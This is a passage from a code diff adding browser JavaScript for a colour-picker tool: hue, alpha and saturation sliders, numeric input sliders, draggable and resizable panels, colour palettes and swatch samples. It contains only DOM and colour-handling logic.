+		var x = e.pageX - this.hue_area.offsetLeft;
+		var width = this.hue_area.clientWidth;
+
+		if (x < 0) x = 0;
+		if (x > width) x = width;
+
+		// TODO 360 => 359
+		var hue = ((359 * x) / width) | 0;
+		// if (hue === 360) hue = 359;
+
+		this.updateSliderPosition(this.hue_picker, x);
+		this.setHue(hue);
+	};
+
+	ColorPicker.prototype.updateAlphaSlider = function updateAlphaSlider(e) {
+		var x = e.pageX - this.alpha_area.offsetLeft;
+		var width = this.alpha_area.clientWidth;
+
+		if (x < 0) x = 0;
+		if (x > width) x = width;
+
+		this.color.a = (x / width).toFixed(2);
+
+		this.updateSliderPosition(this.alpha_picker, x);
+		this.updatePreviewColor();
+
+		this.notify('alpha', this.color.a);
+		notify(this.topic, this.color);
+	};
+
+	ColorPicker.prototype.setHue = function setHue(value) {
+		this.color.setHue(value);
+
+		this.updatePickerBackground();
+		this.updateAlphaGradient();
+		this.updatePreviewColor();
+
+		this.notify('red', this.color.r);
+		this.notify('green', this.color.g);
+		this.notify('blue', this.color.b);
+		this.notify('hexa', this.color.getHexa());
+		this.notify('hue', this.color.hue);
+
+		notify(this.topic, this.color);
+	};
+
+	// Updates when one of Saturation/Value/Lightness changes
+	ColorPicker.prototype.updateSLV = function updateSLV() {
+		this.updatePickerPosition();
+		this.updateAlphaGradient();
+		this.updatePreviewColor();
+
+		this.notify('red', this.color.r);
+		this.notify('green', this.color.g);
+		this.notify('blue', this.color.b);
+		this.notify('hexa', this.color.getHexa());
+
+		notify(this.topic, this.color);
+	};
+
+	/*************************************************************************/
+	//				Update positions of various UI elements
+	/*************************************************************************/
+
+	ColorPicker.prototype.updatePickerPosition = function updatePickerPosition() {
+		var size = this.picking_area.clientWidth;
+		var value = 0;
+		var offset = 5;
+
+		if (this.picker_mode === 'HSV')
+			value = this.color.value;
+		if (this.picker_mode === 'HSL')
+			value = this.color.lightness;
+
+		var x = (this.color.saturation * size / 100) | 0;
+		var y = size - (value * size / 100) | 0;
+
+		this.color_picker.style.left = x - offset + 'px';
+		this.color_picker.style.top = y - offset + 'px';
+	};
+
+	ColorPicker.prototype.updateSliderPosition = function updateSliderPosition(elem, pos) {
+		elem.style.left = Math.max(pos - 3, -2) + 'px';
+	};
+
+	ColorPicker.prototype.updateHuePicker = function updateHuePicker() {
+		var size = this.hue_area.clientWidth;
+		var offset = 1;
+		var pos = (this.color.hue * size / 360 ) | 0;
+		this.hue_picker.style.left = pos - offset + 'px';
+	};
+
+	ColorPicker.prototype.updateAlphaPicker = function updateAlphaPicker() {
+		var size = this.alpha_area.clientWidth;
+		var offset = 1;
+		var pos = (this.color.a * size) | 0;
+		this.alpha_picker.style.left = pos - offset + 'px';
+	};
+
+	/*************************************************************************/
+	//						Update background colors
+	/*************************************************************************/
+
+	ColorPicker.prototype.updatePickerBackground = function updatePickerBackground() {
+		var nc = new Color(this.color);
+		nc.setHSV(nc.hue, 100, 100);
+		this.picking_area.style.backgroundColor = nc.getHexa();
+	};
+
+	ColorPicker.prototype.updateAlphaGradient = function updateAlphaGradient() {
+		this.alpha_mask.style.backgroundColor = this.color.getHexa();
+	};
+
+	ColorPicker.prototype.updatePreviewColor = function updatePreviewColor() {
+		this.preview_color.style.backgroundColor = this.color.getColor();
+	};
+
+	/*************************************************************************/
+	//						Update input elements
+	/*************************************************************************/
+
+	ColorPicker.prototype.inputChangeHue = function inputChangeHue(e) {
+		var value = parseInt(e.target.value);
+		this.setHue(value);
+		this.updateHuePicker();
+	};
+
+	ColorPicker.prototype.inputChangeSaturation = function inputChangeSaturation(e) {
+		var value = parseInt(e.target.value);
+		this.color.setSaturation(value);
+		e.target.value = this.color.saturation;
+		this.updateSLV();
+	};
+
+	ColorPicker.prototype.inputChangeValue = function inputChangeValue(e) {
+		var value = parseInt(e.target.value);
+		this.color.setValue(value);
+		e.target.value = this.color.value;
+		this.updateSLV();
+	};
+
+	ColorPicker.prototype.inputChangeLightness = function inputChangeLightness(e) {
+		var value = parseInt(e.target.value);
+		this.color.setLightness(value);
+		e.target.value = this.color.lightness;
+		this.updateSLV();
+	};
+
+	ColorPicker.prototype.inputChangeRed = function inputChangeRed(e) {
+		var value = parseInt(e.target.value);
+		this.color.setByName('r', value);
+		e.target.value = this.color.r;
+		this.setColor(this.color);
+	};
+
+	ColorPicker.prototype.inputChangeGreen = function inputChangeGreen(e) {
+		var value = parseInt(e.target.value);
+		this.color.setByName('g', value);
+		e.target.value = this.color.g;
+		this.setColor(this.color);
+	};
+
+	ColorPicker.prototype.inputChangeBlue = function inputChangeBlue(e) {
+		var value = parseInt(e.target.value);
+		this.color.setByName('b', value);
+		e.target.value = this.color.b;
+		this.setColor(this.color);
+	};
+
+	ColorPicker.prototype.inputChangeAlpha = function inputChangeAlpha(e) {
+		var value = parseFloat(e.target.value);
+
+		if (typeof value === 'number' && isNaN(value) === false &&
+			value >= 0 && value <= 1)
+			this.color.a = value.toFixed(2);
+
+		e.target.value = this.color.a;
+		this.updateAlphaPicker();
+	};
+
+	ColorPicker.prototype.inputChangeHexa = function inputChangeHexa(e) {
+		var value = e.target.value;
+		this.color.setHexa(value);
+		this.setColor(this.color);
+	};
+
+	/*************************************************************************/
+	//							Internal Pub/Sub
+	/*************************************************************************/
+
+	ColorPicker.prototype.subscribe = function subscribe(topic, callback) {
+		this.subscribers[topic] = callback;
+	};
+
+	ColorPicker.prototype.notify = function notify(topic, value) {
+		if (this.subscribers[topic])
+			this.subscribers[topic](value);
+	};
+
+	/*************************************************************************/
+	//							Set Picker Properties
+	/*************************************************************************/
+
+	ColorPicker.prototype.setColor = function setColor(color) {
+		if(color instanceof Color !== true) {
+			console.log('Typeof parameter not Color');
+			return;
+		}
+
+		if (color.format !== this.picker_mode) {
+			color.setFormat(this.picker_mode);
+			color.updateHSX();
+		}
+
+		this.color.copy(color);
+		this.updateHuePicker();
+		this.updatePickerPosition();
+		this.updatePickerBackground();
+		this.updateAlphaPicker();
+		this.updateAlphaGradient();
+		this.updatePreviewColor();
+
+		this.notify('red', this.color.r);
+		this.notify('green', this.color.g);
+		this.notify('blue', this.color.b);
+
+		this.notify('hue', this.color.hue);
+		this.notify('saturation', this.color.saturation);
+		this.notify('value', this.color.value);
+		this.notify('lightness', this.color.lightness);
+
+		this.notify('alpha', this.color.a);
+		this.notify('hexa', this.color.getHexa());
+		notify(this.topic, this.color);
+	};
+
+	ColorPicker.prototype.setPickerMode = function setPickerMode(mode) {
+		if (mode !== 'HSV' && mode !== 'HSL')
+			return;
+
+		this.picker_mode = mode;
+		this.node.setAttribute('data-mode', this.picker_mode);
+		this.setColor(this.color);
+	};
+
+	/*************************************************************************/
+	//								UNUSED
+	/*************************************************************************/
+
+	var setPickerMode = function setPickerMode(topic, mode) {
+		if (pickers[topic])
+			pickers[topic].setPickerMode(mode);
+	};
+
+	var setColor = function setColor(topic, color) {
+		if (pickers[topic])
+			pickers[topic].setColor(color);
+	};
+
+	var getColor = function getColor(topic) {
+		if (pickers[topic])
+			return new Color(pickers[topic].color);
+	};
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+
+		subscribers[topic].push(callback);
+	};
+
+	var unsubscribe = function unsubscribe(callback) {
+		subscribers.indexOf(callback);
+		subscribers.splice(index, 1);
+	};
+
+	var notify = function notify(topic, value) {
+		if (subscribers[topic] === undefined || subscribers[topic].length === 0)
+			return;
+
+		var color = new Color(value);
+		for (var i in subscribers[topic])
+			subscribers[topic][i](color);
+	};
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-color-picker');
+		var size = elem.length;
+		for (var i = 0; i < size; i++)
+			new ColorPicker(elem[i]);
+	};
+
+	return {
+		init : init,
+		Color : Color,
+		RGBColor : RGBColor,
+		RGBAColor : RGBAColor,
+		HSVColor : HSVColor,
+		HSVAColor : HSVAColor,
+		HSLColor : HSLColor,
+		HSLAColor : HSLAColor,
+		setColor : setColor,
+		getColor : getColor,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe,
+		setPickerMode : setPickerMode
+	};
+
+})();
+
+
+
+/**
+ * UI-SlidersManager
+ */
+
+var InputSliderManager = (function InputSliderManager() {
+
+	var subscribers = {};
+	var sliders = [];
+
+	var InputComponent = function InputComponent(obj) {
+		var input = document.createElement('input');
+		input.setAttribute('type', 'text');
+		input.style.width = 50 + obj.precision * 10 + 'px';
+
+		input.addEventListener('click', function(e) {
+			this.select();
+		});
+
+		input.addEventListener('change', function(e) {
+			var value = parseFloat(e.target.value);
+
+			if (isNaN(value) === true)
+				setValue(obj.topic, obj.value);
+			else
+				setValue(obj.topic, value);
+		});
+
+		return input;
+	};
+
+	var SliderComponent = function SliderComponent(obj, sign) {
+		var slider = document.createElement('div');
+		var startX = null;
+		var start_value = 0;
+
+		slider.addEventListener("click", function(e) {
+			document.removeEventListener("mousemove", sliderMotion);
+			setValue(obj.topic, obj.value + obj.step * sign);
+		});
+
+		slider.addEventListener("mousedown", function(e) {
+			startX = e.clientX;
+			start_value = obj.value;
+			document.body.style.cursor = "e-resize";
+
+			document.addEventListener("mouseup", slideEnd);
+			document.addEventListener("mousemove", sliderMotion);
+		});
+
+		var slideEnd = function slideEnd(e) {
+			document.removeEventListener("mousemove", sliderMotion);
+			document.body.style.cursor = "auto";
+			slider.style.cursor = "pointer";
+		};
+
+		var sliderMotion = function sliderMotion(e) {
+			slider.style.cursor = "e-resize";
+			var delta = (e.clientX - startX) / obj.sensivity | 0;
+			var value = delta * obj.step + start_value;
+			setValue(obj.topic, value);
+		};
+
+		return slider;
+	};
+
+	var InputSlider = function(node) {
+		var min		= parseFloat(node.getAttribute('data-min'));
+		var max		= parseFloat(node.getAttribute('data-max'));
+		var step	= parseFloat(node.getAttribute('data-step'));
+		var value	= parseFloat(node.getAttribute('data-value'));
+		var topic	= node.getAttribute('data-topic');
+		var unit	= node.getAttribute('data-unit');
+		var name 	= node.getAttribute('data-info');
+		var sensivity = node.getAttribute('data-sensivity') | 0;
+		var precision = node.getAttribute('data-precision') | 0;
+
+		this.min = isNaN(min) ? 0 : min;
+		this.max = isNaN(max) ? 100 : max;
+		this.precision = precision >= 0 ? precision : 0;
+		this.step = step < 0 || isNaN(step) ? 1 : step.toFixed(precision);
+		this.topic = topic;
+		this.node = node;
+		this.unit = unit === null ? '' : unit;
+		this.sensivity = sensivity > 0 ? sensivity : 5;
+		value = isNaN(value) ? this.min : value;
+
+		var input = new InputComponent(this);
+		var slider_left  = new SliderComponent(this, -1);
+		var slider_right = new SliderComponent(this,  1);
+
+		slider_left.className = 'ui-input-slider-left';
+		slider_right.className = 'ui-input-slider-right';
+
+		if (name) {
+			var info = document.createElement('span');
+			info.className = 'ui-input-slider-info';
+			info.textContent = name;
+			node.appendChild(info);
+		}
+
+		node.appendChild(slider_left);
+		node.appendChild(input);
+		node.appendChild(slider_right);
+
+		this.input = input;
+		sliders[topic] = this;
+		setValue(topic, value);
+	};
+
+	InputSlider.prototype.setInputValue = function setInputValue() {
+		this.input.value = this.value.toFixed(this.precision) + this.unit;
+	};
+
+	var setValue = function setValue(topic, value, send_notify) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		value = parseFloat(value.toFixed(slider.precision));
+
+		if (value > slider.max) value = slider.max;
+		if (value < slider.min)	value = slider.min;
+
+		slider.value = value;
+		slider.node.setAttribute('data-value', value);
+
+		slider.setInputValue();
+
+		if (send_notify === false)
+			return;
+
+		notify.call(slider);
+	};
+
+	var setMax = function setMax(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.max = value;
+		setValue(topic, slider.value);
+	};
+
+	var setMin = function setMin(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.min = value;
+		setValue(topic, slider.value);
+	};
+
+	var setUnit = function setUnit(topic, unit) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.unit = unit;
+		setValue(topic, slider.value);
+	};
+
+	var setStep = function setStep(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.step = parseFloat(value);
+		setValue(topic, slider.value);
+	};
+
+	var setPrecision = function setPrecision(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		value = value | 0;
+		slider.precision = value;
+
+		var step = parseFloat(slider.step.toFixed(value));
+		if (step === 0)
+			slider.step = 1 / Math.pow(10, value);
+
+		setValue(topic, slider.value);
+	};
+
+	var setSensivity = function setSensivity(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		value = value | 0;
+
+		slider.sensivity = value > 0 ? value : 5;
+	};
+
+	var getNode =  function getNode(topic) {
+		return sliders[topic].node;
+	};
+
+	var getPrecision =  function getPrecision(topic) {
+		return sliders[topic].precision;
+	};
+
+	var getStep =  function getStep(topic) {
+		return sliders[topic].step;
+	};
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+		subscribers[topic].push(callback);
+	};
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	};
+
+	var notify = function notify() {
+		if (subscribers[this.topic] === undefined)
+			return;
+		for (var i = 0; i < subscribers[this.topic].length; i++)
+			subscribers[this.topic][i](this.value);
+	};
+
+	var createSlider = function createSlider(topic, label) {
+		var slider = document.createElement('div');
+		slider.className = 'ui-input-slider';
+		slider.setAttribute('data-topic', topic);
+
+		if (label !== undefined)
+			slider.setAttribute('data-info', label);
+
+		new InputSlider(slider);
+		return slider;
+	};
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-input-slider');
+		var size = elem.length;
+		for (var i = 0; i < size; i++)
+			new InputSlider(elem[i]);
+	};
+
+	return {
+		init : init,
+		setMax : setMax,
+		setMin : setMin,
+		setUnit : setUnit,
+		setStep : setStep,
+		getNode : getNode,
+		getStep : getStep,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe,
+		setPrecision : setPrecision,
+		setSensivity : setSensivity,
+		getPrecision : getPrecision,
+		createSlider : createSlider,
+	};
+
+})();
+
+
+'use strict';
+
+window.addEventListener("load", function() {
+	ColorPickerTool.init();
+});
+
+var ColorPickerTool = (function ColorPickerTool() {
+
+	/*========== Get DOM Element By ID ==========*/
+
+	function getElemById(id) {
+		return document.getElementById(id);
+	}
+
+	function allowDropEvent(e) {
+		e.preventDefault();
+	}
+
+	/*========== Make an element resizable relative to it's parent ==========*/
+
+	var UIComponent = (function UIComponent() {
+
+		function makeResizable(elem, axis) {
+			var valueX = 0;
+			var valueY = 0;
+			var action = 0;
+
+			var resizeStart = function resizeStart(e) {
+				e.stopPropagation();
+				e.preventDefault();
+				if (e.button !== 0)
+					return;
+
+				valueX = e.clientX - elem.clientWidth;
+				valueY = e.clientY - elem.clientHeight;
+
+				document.body.setAttribute('data-resize', axis);
+				document.addEventListener('mousemove', mouseMove);
+				document.addEventListener('mouseup', resizeEnd);
+			};
+
+			var mouseMove = function mouseMove(e) {
+				if (action >= 0)
+					elem.style.width = e.clientX - valueX + 'px';
+				if (action <= 0)
+					elem.style.height = e.clientY - valueY + 'px';
+			};
+
+			var resizeEnd = function resizeEnd(e) {
+				if (e.button !== 0)
+					return;
+
+				document.body.removeAttribute('data-resize', axis);
+				document.removeEventListener('mousemove', mouseMove);
+				document.removeEventListener('mouseup', resizeEnd);
+			};
+
+			var handle = document.createElement('div');
+			handle.className = 'resize-handle';
+
+			if (axis === 'width') action = 1;
+			else if (axis === 'height') action = -1;
+			else axis = 'both';
+
+			handle.className = 'resize-handle';
+			handle.setAttribute('data-resize', axis);
+			handle.addEventListener('mousedown', resizeStart);
+			elem.appendChild(handle);
+		};
+
+		/*========== Make an element draggable relative to it's parent ==========*/
+
+		var makeDraggable = function makeDraggable(elem, endFunction) {
+
+			var offsetTop;
+			var offsetLeft;
+
+			elem.setAttribute('data-draggable', 'true');
+
+			var dragStart = function dragStart(e) {
+				e.preventDefault();
+				e.stopPropagation();
+
+				if (e.target.getAttribute('data-draggable') !== 'true' ||
+					e.target !== elem || e.button !== 0)
+					return;
+
+				offsetLeft = e.clientX - elem.offsetLeft;
+				offsetTop = e.clientY - elem.offsetTop;
+
+				document.addEventListener('mousemove', mouseDrag);
+				document.addEventListener('mouseup', dragEnd);
+			};
+
+			var dragEnd = function dragEnd(e) {
+				if (e.button !== 0)
+					return;
+
+				document.removeEventListener('mousemove', mouseDrag);
+				document.removeEventListener('mouseup', dragEnd);
+			};
+
+			var mouseDrag = function mouseDrag(e) {
+				elem.style.left = e.clientX - offsetLeft + 'px';
+				elem.style.top = e.clientY - offsetTop + 'px';
+			};
+
+			elem.addEventListener('mousedown', dragStart, false);
+		};
+
+		return {
+			makeResizable : makeResizable,
+			makeDraggable : makeDraggable
+		};
+
+	})();
+
+	/*========== Color Class ==========*/
+
+	var Color = UIColorPicker.Color;
+	var HSLColor = UIColorPicker.HSLColor;
+
+	/**
+	 * ColorPalette
+	 */
+	var ColorPalette = (function ColorPalette() {
+
+		var samples = [];
+		var color_palette;
+		var complementary;
+
+		var hideNode = function(node) {
+			node.setAttribute('data-hidden', 'true');
+		};
+
+		var ColorSample = function ColorSample(id) {
+			var node = document.createElement('div');
+			node.className = 'sample';
+
+			this.uid = samples.length;
+			this.node = node;
+			this.color = new Color();
+
+			node.setAttribute('sample-id', this.uid);
+			node.setAttribute('draggable', 'true');
+			node.addEventListener('dragstart', this.dragStart.bind(this));
+			node.addEventListener('click', this.pickColor.bind(this));
+
+			samples.push(this);
+		};
+
+		ColorSample.prototype.updateBgColor = function updateBgColor() {
+			this.node.style.backgroundColor = this.color.getColor();
+		};
+
+		ColorSample.prototype.updateColor = function updateColor(color) {
+			this.color.copy(color);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.updateHue = function updateHue(color, degree, steps) {
+			this.color.copy(color);
+			var hue = (steps * degree + this.color.hue) % 360;
+			if (hue < 0) hue += 360;
+			this.color.setHue(hue);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.updateSaturation = function updateSaturation(color, value, steps) {
+			var saturation = color.saturation + value * steps;
+			if (saturation <= 0) {
+				this.node.setAttribute('data-hidden', 'true');
+				return;
+			}
+
+			this.node.removeAttribute('data-hidden');
+			this.color.copy(color);
+			this.color.setSaturation(saturation);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.updateLightness = function updateLightness(color, value, steps) {
+			var lightness = color.lightness + value * steps;
+			if (lightness <= 0) {
+				this.node.setAttribute('data-hidden', 'true');
+				return;
+			}
+			this.node.removeAttribute('data-hidden');
+			this.color.copy(color);
+			this.color.setLightness(lightness);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.updateBrightness = function updateBrightness(color, value, steps) {
+			var brightness = color.value + value * steps;
+			if (brightness <= 0) {
+				this.node.setAttribute('data-hidden', 'true');
+				return;
+			}
+			this.node.removeAttribute('data-hidden');
+			this.color.copy(color);
+			this.color.setValue(brightness);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.updateAlpha = function updateAlpha(color, value, steps) {
+			var alpha = parseFloat(color.a) + value * steps;
+			if (alpha <= 0) {
+				this.node.setAttribute('data-hidden', 'true');
+				return;
+			}
+			this.node.removeAttribute('data-hidden');
+			this.color.copy(color);
+			this.color.a = parseFloat(alpha.toFixed(2));
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.pickColor = function pickColor() {
+			UIColorPicker.setColor('picker', this.color);
+		};
+
+		ColorSample.prototype.dragStart = function dragStart(e) {
+			e.dataTransfer.setData('sampleID', this.uid);
+			e.dataTransfer.setData('location', 'palette-samples');
+		};
+
+		var Palette = function Palette(text, size) {
+			this.samples = [];
+			this.locked = false;
+
+			var palette = document.createElement('div');
+			var title = document.createElement('div');
+			var controls = document.createElement('div');
+			var container = document.createElement('div');
+			var lock = document.createElement('div');
+
+			container.className = 'container';
+			title.className = 'title';
+			palette.className = 'palette';
+			controls.className = 'controls';
+			lock.className = 'lock';
+			title.textContent = text;
+
+			controls.appendChild(lock);
+			container.appendChild(title);
+			container.appendChild(controls);
+			container.appendChild(palette);
+
+			lock.addEventListener('click', function () {
+				this.locked = !this.locked;
+				lock.setAttribute('locked-state', this.locked);
+			}.bind(this));
+
+			for(var i = 0; i < size; i++) {
+				var sample = new ColorSample();
+				this.samples.push(sample);
+				palette.appendChild(sample.node);
+			}
+
+			this.container = container;
+			this.title = title;
+		};
+
+		var createHuePalette = function createHuePalette() {
+			var palette = new Palette('Hue', 12);
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (palette.locked === true)
+					return;
+
+				for(var i = 0; i < 12; i++) {
+					palette.samples[i].updateHue(color, 30, i);
+				}
+			});
+
+			color_palette.appendChild(palette.container);
+		};
+
+		var createSaturationPalette = function createSaturationPalette() {
+			var palette = new Palette('Saturation', 11);
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (palette.locked === true)
+					return;
+
+				for(var i = 0; i < 11; i++) {
+					palette.samples[i].updateSaturation(color, -10, i);
+				}
+			});
+
+			color_palette.appendChild(palette.container);
+		};
+
+		/* Brightness or Lightness - depends on the picker mode */
+		var createVLPalette = function createSaturationPalette() {
+			var palette = new Palette('Lightness', 11);
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (palette.locked === true)
+					return;
+
+				if(color.format === 'HSL') {
+					palette.title.textContent = 'Lightness';
+					for(var i = 0; i < 11; i++)
+						palette.samples[i].updateLightness(color, -10, i);
+				}
+				else {
+					palette.title.textContent = 'Value';
+					for(var i = 0; i < 11; i++)
+						palette.samples[i].updateBrightness(color, -10, i);
+				}
+			});
+
+			color_palette.appendChild(palette.container);
+		};
+
+		var isBlankPalette = function isBlankPalette(container, value) {
+			if (value === 0) {
+				container.setAttribute('data-collapsed', 'true');
+				return true;
+			}
+
+			container.removeAttribute('data-collapsed');
+			return false;
+		};
+
+		var createAlphaPalette = function createAlphaPalette() {
+			var palette = new Palette('Alpha', 10);
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (palette.locked === true)
+					return;
+
+				for(var i = 0; i < 10; i++) {
+					palette.samples[i].updateAlpha(color, -0.1, i);
+				}
+			});
+
+			color_palette.appendChild(palette.container);
+		};
+
+		var getSampleColor = function getSampleColor(id) {
+			if (samples[id] !== undefined && samples[id]!== null)
+				return new Color(samples[id].color);
+		};
+
+		var init = function init() {
+			color_palette = getElemById('color-palette');
+
+			createHuePalette();
+			createSaturationPalette();
+			createVLPalette();
+			createAlphaPalette();
+
+		};
+
+		return {
+			init : init,
+			getSampleColor : getSampleColor
+		};
+
+	})();
+
+	/**
+	 * ColorInfo
+	 */
+	var ColorInfo = (function ColorInfo() {
+
+		var info_box;
+		var select;
+		var RGBA;
+		var HEXA;
+		var HSLA;
+
+		var updateInfo = function updateInfo(color) {
+			if (color.a | 0 === 1) {
+				RGBA.info.textContent = 'RGB';
+				HSLA.info.textContent = 'HSL';
+			}
+			else {
+				RGBA.info.textContent = 'RGBA';
+				HSLA.info.textContent = 'HSLA';
+			}
+
+			RGBA.value.value = color.getRGBA();
+			HSLA.value.value = color.getHSLA();
+			HEXA.value.value = color.getHexa();
+		};
+
+		var InfoProperty = function InfoProperty(info) {
+
+			var node = document.createElement('div');
+			var title = document.createElement('div');
+			var value = document.createElement('input');
+			var copy = document.createElement('div');
+
+			node.className = 'property';
+			title.className = 'type';
+			value.className = 'value';
+			copy.className = 'copy';
+
+			title.textContent = info;
+			value.setAttribute('type', 'text');
+
+			copy.addEventListener('click', function() {
+				value.select();
+			});
+
+			node.appendChild(title);
+			node.appendChild(value);
+			node.appendChild(copy);
+
+			this.node = node;
+			this.value = value;
+			this.info = title;
+
+			info_box.appendChild(node);
+		};
+
+		var init = function init() {
+
+			info_box = getElemById('color-info');
+
+			RGBA = new InfoProperty('RGBA');
+			HSLA = new InfoProperty('HSLA');
+			HEXA = new InfoProperty('HEXA');
+
+			UIColorPicker.subscribe('picker', updateInfo);
+
+		};
+
+		return {
+			init: init
+		};
+
+	})();
+
+	/**
+	 * ColorPicker Samples
+	 */
+	var ColorPickerSamples = (function ColorPickerSamples() {
+
+		var samples = [];
+		var nr_samples = 0;
+		var active = null;
+		var container = null;
+		var	samples_per_line = 10;
+		var trash_can = null;
+		var base_color = new HSLColor(0, 50, 100);
+		var add_btn;
+		var add_btn_pos;
+
+		var ColorSample = function ColorSample() {
+			var node = document.createElement('div');
+			node.className = 'sample';
+
+			this.uid = samples.length;
+			this.index = nr_samples++;
+			this.node = node;
+			this.color = new Color(base_color);
+
+			node.setAttribute('sample-id', this.uid);
+			node.setAttribute('draggable', 'true');
+
+			node.addEventListener('dragstart', this.dragStart.bind(this));
+			node.addEventListener('dragover' , allowDropEvent);
+			node.addEventListener('drop'     , this.dragDrop.bind(this));
+
+			this.updatePosition(this.index);
+			this.updateBgColor();
+			samples.push(this);
+		};
+
+		ColorSample.prototype.updateBgColor = function updateBgColor() {
+			this.node.style.backgroundColor = this.color.getColor();
+		};
+
+		ColorSample.prototype.updatePosition = function updatePosition(index) {
+			this.index = index;
+			this.posY = 5 + ((index / samples_per_line) | 0) * 52;
+			this.posX = 5 + ((index % samples_per_line) | 0) * 52;
+			this.node.style.top  = this.posY + 'px';
+			this.node.style.left = this.posX + 'px';
+		};
+
+		ColorSample.prototype.updateColor = function updateColor(color) {
+			this.color.copy(color);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.activate = function activate() {
+			UIColorPicker.setColor('picker', this.color);
+			this.node.setAttribute('data-active', 'true');
+		};
+
+		ColorSample.prototype.deactivate = function deactivate() {
+			this.node.removeAttribute('data-active');
+		};
+
+		ColorSample.prototype.dragStart = function dragStart(e) {
+			e.dataTransfer.setData('sampleID', this.uid);
+			e.dataTransfer.setData('location', 'picker-samples');
+		};
+
+		ColorSample.prototype.dragDrop = function dragDrop(e) {
+			e.stopPropagation();
+			this.color = Tool.getSampleColorFrom(e);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.deleteSample = function deleteSample() {
+			container.removeChild(this.node);
+			samples[this.uid] = null;
+			nr_samples--;
+		};
+
+		var updateUI = function updateUI() {
+			updateContainerProp();
+
+			var index = 0;
+			var nr = samples.length;
+			for (var i=0; i < nr; i++)
+				if (samples[i] !== null) {
+					samples[i].updatePosition(index);
+					index++;
+				}
+
+			AddSampleButton.updatePosition(index);
+		};
+
+		var deleteSample = function deleteSample(e) {
+			trash_can.parentElement.setAttribute('drag-state', 'none');
+
+			var location = e.dataTransfer.getData('location');
+			if (location !== 'picker-samples')
+				return;
+
+			var sampleID = e.dataTransfer.getData('sampleID');
+			samples[sampleID].deleteSample();
+			console.log(samples);
+
+			updateUI();
+		};
+
+		var createDropSample = function createDropSample() {
+			var sample = document.createElement('div');
+			sample.id = 'drop-effect-sample';
+			sample.className = 'sample';
+			container.appendChild(sample);
+		};
+
+		var setActivateSample = function setActivateSample(e) {
+			if (e.target.className !== 'sample')
+				return;
+
+			unsetActiveSample(active);
+			Tool.unsetVoidSample();
+			CanvasSamples.unsetActiveSample();
+			active = samples[e.target.getAttribute('sample-id')];
+			active.activate();
+		};
+
+		var unsetActiveSample = function unsetActiveSample() {
+			if (active)
+				active.deactivate();
+			active = null;
+		};
+
+		var getSampleColor = function getSampleColor(id) {
+			if (samples[id] !== undefined && samples[id]!== null)
+				return new Color(samples[id].color);
+		};
+
+		var updateContainerProp = function updateContainerProp() {
+			samples_per_line = ((container.clientWidth - 5) / 52) | 0;
+			var height = 52 * (1 + (nr_samples / samples_per_line) | 0);
+			container.style.height = height + 10 + 'px';
+		};
+
+		var AddSampleButton = (function AddSampleButton() {
+			var node;
+			var _index = 0;
+			var _posX;
+			var _posY;
+
+			var updatePosition = function updatePosition(index) {
+				_index = index;
+				_posY = 5 + ((index / samples_per_line) | 0) * 52;
+				_posX = 5 + ((index % samples_per_line) | 0) * 52;
+
+				node.style.top  = _posY + 'px';
+				node.style.left = _posX + 'px';
+			};
+
+			var addButtonClick = function addButtonClick() {
+				var sample = new ColorSample();
+				container.appendChild(sample.node);
+				updatePosition(_index + 1);
+				updateUI();
+			};
+
+			var init = function init() {
+				node = document.createElement('div');
+				var icon = document.createElement('div');
+
+				node.className = 'sample';
+				icon.id = 'add-icon';
+				node.appendChild(icon);
+				node.addEventListener('click', addButtonClick);
+
+				updatePosition(0);
+				container.appendChild(node);
+			};
+
+			return {
+				init : init,
+				updatePosition : updatePosition
+			};
+		})();
+
+		var init = function init() {
+			container = getElemById('picker-samples');
+			trash_can = getElemById('trash-can');
+
+			AddSampleButton.init();
+
+			for (var i=0; i<16; i++) {
+				var sample = new ColorSample();
+				container.appendChild(sample.node);
+			}
+
+			AddSampleButton.updatePosition(samples.length);
+			updateUI();
+
+			active = samples[0];
+			active.activate();
+
+			container.addEventListener('click', setActivateSample);
+
+			trash_can.addEventListener('dragover', allowDropEvent);
+			trash_can.addEventListener('dragenter', function() {
+				this.parentElement.setAttribute('drag-state', 'enter');
+			});
+			trash_can.addEventListener('dragleave', function(e) {
+				this.parentElement.setAttribute('drag-state', 'none');
+			});
+			trash_can.addEventListener('drop', deleteSample);
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (active)
+					active.updateColor(color);
+			});
+
+		};
+
+		return {
+			init : init,
+			getSampleColor : getSampleColor,
+			unsetActiveSample : unsetActiveSample
+		};
+
+	})();
+
+	/**
+	 * Canvas Samples
+	 */
+	var CanvasSamples = (function CanvasSamples() {
+
+		var active = null;
+		var canvas = null;
+		var samples = [];
+		var zindex = null;
+		var tutorial = true;
+
+		var CanvasSample = function CanvasSample(color, posX, posY) {
+
+			var node = document.createElement('div');
+			var pick = document.createElement('div');
